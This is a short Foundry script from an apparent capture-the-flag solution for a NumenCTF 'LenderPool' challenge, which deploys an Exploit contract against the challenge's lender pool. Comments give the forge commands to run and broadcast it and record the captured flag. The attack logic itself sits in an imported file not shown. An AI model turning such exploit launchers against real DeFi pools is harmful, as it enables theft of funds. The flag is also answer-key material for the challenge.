Exploit.s.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Script.sol";
import "./Exploit.sol";

// forge script src/NumenCTF/LenderPool/Exploit.s.sol:ExploitScript -vvvvv --private-key $PRIVATE_KEY --fork-url $RPC_URL --sig "run(address)" $INSTANCE_ADDRESS --legacy
// forge script src/NumenCTF/LenderPool/Exploit.s.sol:ExploitScript -vvvvv --private-key $PRIVATE_KEY --fork-url $RPC_URL --sig "run(address)" $INSTANCE_ADDRESS --legacy --broadcast
// flag: 0xf4ea28f40bd256f743544e2c55e00f14701ee20e

contract ExploitScript is Script {
    function run(address instanceAddress) public {
        vm.startBroadcast();
        Exploit exploit = new Exploit();
        exploit.exploit(address(Check(instanceAddress).lenderPool()));
        vm.stopBroadcast();
    }
}